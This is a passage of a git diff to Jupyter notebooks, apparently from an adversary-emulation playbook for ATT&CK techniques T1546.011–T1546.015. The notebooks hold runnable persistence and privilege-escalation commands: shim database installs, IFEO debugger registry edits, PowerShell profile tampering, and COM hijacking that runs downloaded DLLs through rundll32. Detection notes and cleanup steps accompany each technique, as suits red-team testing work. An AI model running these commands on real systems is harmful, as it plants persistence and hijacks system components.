`command_prompt`\n", - "```command_prompt\nsdbinst.exe PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb\n```" + "```command_prompt\nsdbinst.exe \"PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "0b577223", + "id": "db3628d0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.011 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b50e6fea", + "id": "4e6183b8", "metadata": {}, - "source": "#### Cleanup: \n```cmd\nsdbinst.exe -u PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb >nul 2>&1\n```" + "source": "#### Cleanup: \n```cmd\nsdbinst.exe -u \"PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb\" >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "82de7a97", + "id": "10b869b4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.011 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "c13d4b40", + "id": "b8fc8d24", "metadata": {}, "source": [ "### Atomic Test #2 - New shim database files created in the default shim database directory", @@ -67,34 +67,34 @@ "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item $PathToAtomicsFolder\\T1546.011\\bin\\T1546.011CompatDatabase.sdb C:\\Windows\\apppatch\\Custom\\T1546.011CompatDatabase.sdb\nCopy-Item $PathToAtomicsFolder\\T1546.011\\bin\\T1546.011CompatDatabase.sdb C:\\Windows\\apppatch\\Custom\\Custom64\\T1546.011CompatDatabase.sdb\n```" + "```powershell\nCopy-Item \"$PathToAtomicsFolder\\T1546.011\\bin\\T1546.011CompatDatabase.sdb\" C:\\Windows\\apppatch\\Custom\\T1546.011CompatDatabase.sdb\nCopy-Item \"$PathToAtomicsFolder\\T1546.011\\bin\\T1546.011CompatDatabase.sdb\" C:\\Windows\\apppatch\\Custom\\Custom64\\T1546.011CompatDatabase.sdb\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "bae61450", + "id": "8dc730d5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.011 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "2ddbcb59", + "id": "bbd50535", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item C:\\Windows\\apppatch\\Custom\\T1546.011CompatDatabase.sdb -ErrorAction Ignore\nRemove-Item C:\\Windows\\apppatch\\Custom\\Custom64\\T1546.011CompatDatabase.sdb -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7c0d4b5b", + "id": "99f19a6d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.011 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "18397b79", + "id": "3051aa3f", "metadata": {}, "source": [ "### Atomic Test #3 - Registry key creation and/or modification events for SDB", @@ -108,28 +108,28 @@ { "cell_type": "code", "execution_count": null, - "id": "289f03e3", + "id": "2850dd0f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.011 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "0fa8df1b", + "id": "97bffac4", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Custom\" -Name \"AtomicRedTeamT1546.011\" -ErrorAction Ignore\nRemove-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\InstalledSDB\" -Name \"AtomicRedTeamT1546.011\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d0882867", + "id": "0b6118e8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.011 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "6719d412", + "id": "3b6da627", "metadata": {}, "source": "## Detection\nThere are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse." } @@ -137,13 +137,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.012.ipynb b/playbook/tactics/privilege-escalation/T1546.012.ipynb index 72d2c91a..1659bf8b 100644 --- a/playbook/tactics/privilege-escalation/T1546.012.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.012.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "1c5ea7d8", + "id": "08986db1", "metadata": {}, "source": "# T1546.012 - Image File Execution Options Injection\nAdversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)" }, { "cell_type": "markdown", - "id": "dd973d20", + "id": "b719332f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "d1af95a4", + "id": "d7715f8a", "metadata": {}, "source": [ "### Atomic Test #1 - IFEO Add Debugger", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "526694ac", + "id": "c1a8a79c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.012 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "3a1f3229", + "id": "b1eab001", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\calc.exe\" /v Debugger /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "baf32e43", + "id": "f8dbde75", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.012 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "76b37790", + "id": "ca1a4f34", "metadata": {}, "source": [ "### Atomic Test #2 - IFEO Global Flags", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "8742e799", + "id": "2051c884", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.012 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "b19772c5", + "id": "12677c71", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "850ddcea", + "id": "5f7053d1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.012 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "81ce3873", + "id": "c5c58acf", "metadata": {}, "source": [ "### Atomic Test #3 - GlobalFlags in Image File Execution Options", @@ -98,28 +98,28 @@ { "cell_type": "code", "execution_count": null, - "id": "bfc51899", + "id": "9e73bbee", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.012 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "42115781", + "id": "507e650e", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\whoami.exe\" \nRemove-Item $SilentProcessExit -force\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\whoami.exe\"\nRemove-Item $registryPath -force\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d2aae941", + "id": "416fbb3b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.012 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "b4d4b48f", + "id": "9a62b17d", "metadata": {}, "source": "## Detection\nMonitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)" } @@ -127,13 +127,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.013.ipynb b/playbook/tactics/privilege-escalation/T1546.013.ipynb index 9301f8ec..dc54b036 100644 --- a/playbook/tactics/privilege-escalation/T1546.013.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.013.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "0d0b4c94", + "id": "56ab286c", "metadata": {}, "source": "# T1546.013 - PowerShell Profile\nAdversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)" }, { "cell_type": "markdown", - "id": "37893a87", + "id": "e3152ae3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "3c402f7a", + "id": "252f5f73", "metadata": {}, "source": "### Atomic Test #1 - Append malicious start-process cmdlet\nAppends a start process cmdlet to the current user's powershell profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Ensure a powershell profile exists for the current user\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $profile) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path $profile -Type File -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4d1f5954", + "id": "1bb1f20d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.013 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e9638c8d", + "id": "a717e904", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "7c47d31f", + "id": "8aaa2218", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.013 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "79182479", + "id": "c6513a79", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$oldprofile = cat $profile | Select-Object -skiplast 1\nSet-Content $profile -Value $oldprofile\n```" }, { "cell_type": "code", "execution_count": null, - "id": "30c4bf5f", + "id": "233967b7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.013 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "10612b7d", + "id": "8ac9c075", "metadata": {}, "source": "## Detection\nLocations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:\n\n* $PsHome\\Profile.ps1\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1\n* $Home\\\\\\[My ]Documents\\PowerShell\\Profile.ps1\n* $Home\\\\\\[My ]Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs." } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.014.ipynb b/playbook/tactics/privilege-escalation/T1546.014.ipynb index 8bc9e207..70899207 100644 --- a/playbook/tactics/privilege-escalation/T1546.014.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.014.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "76cefe00", + "id": "dbd99f8c", "metadata": {}, "source": "# T1546.014 - Emond\nAdversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service." }, { "cell_type": "markdown", - "id": "cdf488ae", + "id": "09e392fe", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "94a01d74", + "id": "aeb3e8aa", "metadata": {}, "source": [ "### Atomic Test #1 - Persistance with Event Monitor - emond", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "abbe965f", + "id": "3e20dc8f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.014 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "69309964", + "id": "8e1fe995", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo rm /etc/emond.d/rules/T1546.014_emond.plist\nsudo rm /private/var/db/emondClients/T1546.014\n```" }, { "cell_type": "code", "execution_count": null, - "id": "56aa5f59", + "id": "b2b0a10b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.014 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "c3a44c79", + "id": "3cefd8fa", "metadata": {}, "source": "## Detection\nMonitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients." } @@ -57,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1546.015.ipynb b/playbook/tactics/privilege-escalation/T1546.015.ipynb index 0d223df9..7105e909 100644 --- a/playbook/tactics/privilege-escalation/T1546.015.ipynb +++ b/playbook/tactics/privilege-escalation/T1546.015.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "97c8da4f", + "id": "5d145fed", "metadata": {}, "source": "# T1546.015 - Component Object Model Hijacking\nAdversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. " }, { "cell_type": "markdown", - "id": "c7af6179", + "id": "c5f87b89", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "3a66853d", + "id": "6900a88b", "metadata": {}, - "source": "### Atomic Test #1 - COM Hijacking - InprocServer32\nThis test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.\n\nReference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL For testing\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\AtomicTest.dll) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/AtomicTest.dll\" -OutFile \"$env:TEMP\\AtomicTest.dll\"\n```" + "source": "### Atomic Test #1 - COM Hijacking - InprocServer32\nThis test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.\n\nReference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL For testing\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\AtomicTest.dll\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/AtomicTest.dll\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\AtomicTest.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0a742963", + "id": "66a48799", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d881f4ff", + "id": "ec91246f", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}' -Value 'MSAA AccPropServices'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Value $env:TEMP\\AtomicTest.dll\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Name 'ThreadingModel' -Value 'Apartment' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-sta {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}'```" + "```powershell\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}' -Value 'MSAA AccPropServices'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Value \"PathToAtomicsFolder\\..\\ExternalPayloads\\AtomicTest.dll\"\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Name 'ThreadingModel' -Value 'Apartment' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-sta {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}'```" ] }, { "cell_type": "code", "execution_count": null, - "id": "407fc33c", + "id": "b0f09b5d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b1c0baf7", + "id": "c87d11fb", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}' -Recurse -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "f1205986", + "id": "a623b937", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "7a8a65c4", + "id": "8b5d6df7", "metadata": {}, "source": [ "### Atomic Test #2 - Powershell Execute COM Object", @@ -72,73 +72,73 @@ { "cell_type": "code", "execution_count": null, - "id": "e98aac69", + "id": "7e31ba2d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "b1a9e2a6", + "id": "77dfe8fb", "metadata": {}, "source": "#### Cleanup: \n```powershell\nGet-Process -Name \"*calc\" | Stop-Process\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a85e7f88", + "id": "a23f42f0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "084954cf", + "id": "7c806ca4", "metadata": {}, - "source": "### Atomic Test #3 - COM Hijacking with RunDLL32 (Local Server Switch)\nThis test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via \"rundll32.exe -localserver [clsid]\". \nThis method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. \nReference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/\nUpon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened. \n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL For testing\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:temp\\T1546.015_calc.dll) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/T1546.015_calc.dll\" -OutFile \"$env:temp\\T1546.015_calc.dll\"\n```" + "source": "### Atomic Test #3 - COM Hijacking with RunDLL32 (Local Server Switch)\nThis test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via \"rundll32.exe -localserver [clsid]\". \nThis method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. \nReference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/\nUpon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened. \n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: DLL For testing\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1546.015_calc.dll\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/T1546.015_calc.dll\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1546.015_calc.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d53d4d1d", + "id": "a434d57d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d831dc2e", + "id": "3a8a4c43", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}' -Value 'MSAA AccPropServices'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Value $env:temp\\T1546.015_calc.dll\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Name 'ThreadingModel' -Value 'Both' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-localserver {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}'```" + "```powershell\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}' -Value 'MSAA AccPropServices'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Value \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1546.015_calc.dll\"\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\\InprocServer32' -Name 'ThreadingModel' -Value 'Both' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-localserver {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}'```" ] }, { "cell_type": "code", "execution_count": null, - "id": "8ba36644", + "id": "46c26a40", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "5b062517", + "id": "38575748", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}' -Recurse -ErrorAction Ignore```" }, { "cell_type": "code", "execution_count": null, - "id": "408324a8", + "id": "3701d09a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1546.015 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "eccec54e", + "id": "7006eeef", "metadata": {}, "source": [ "### Atomic Test #4 - COM hijacking via 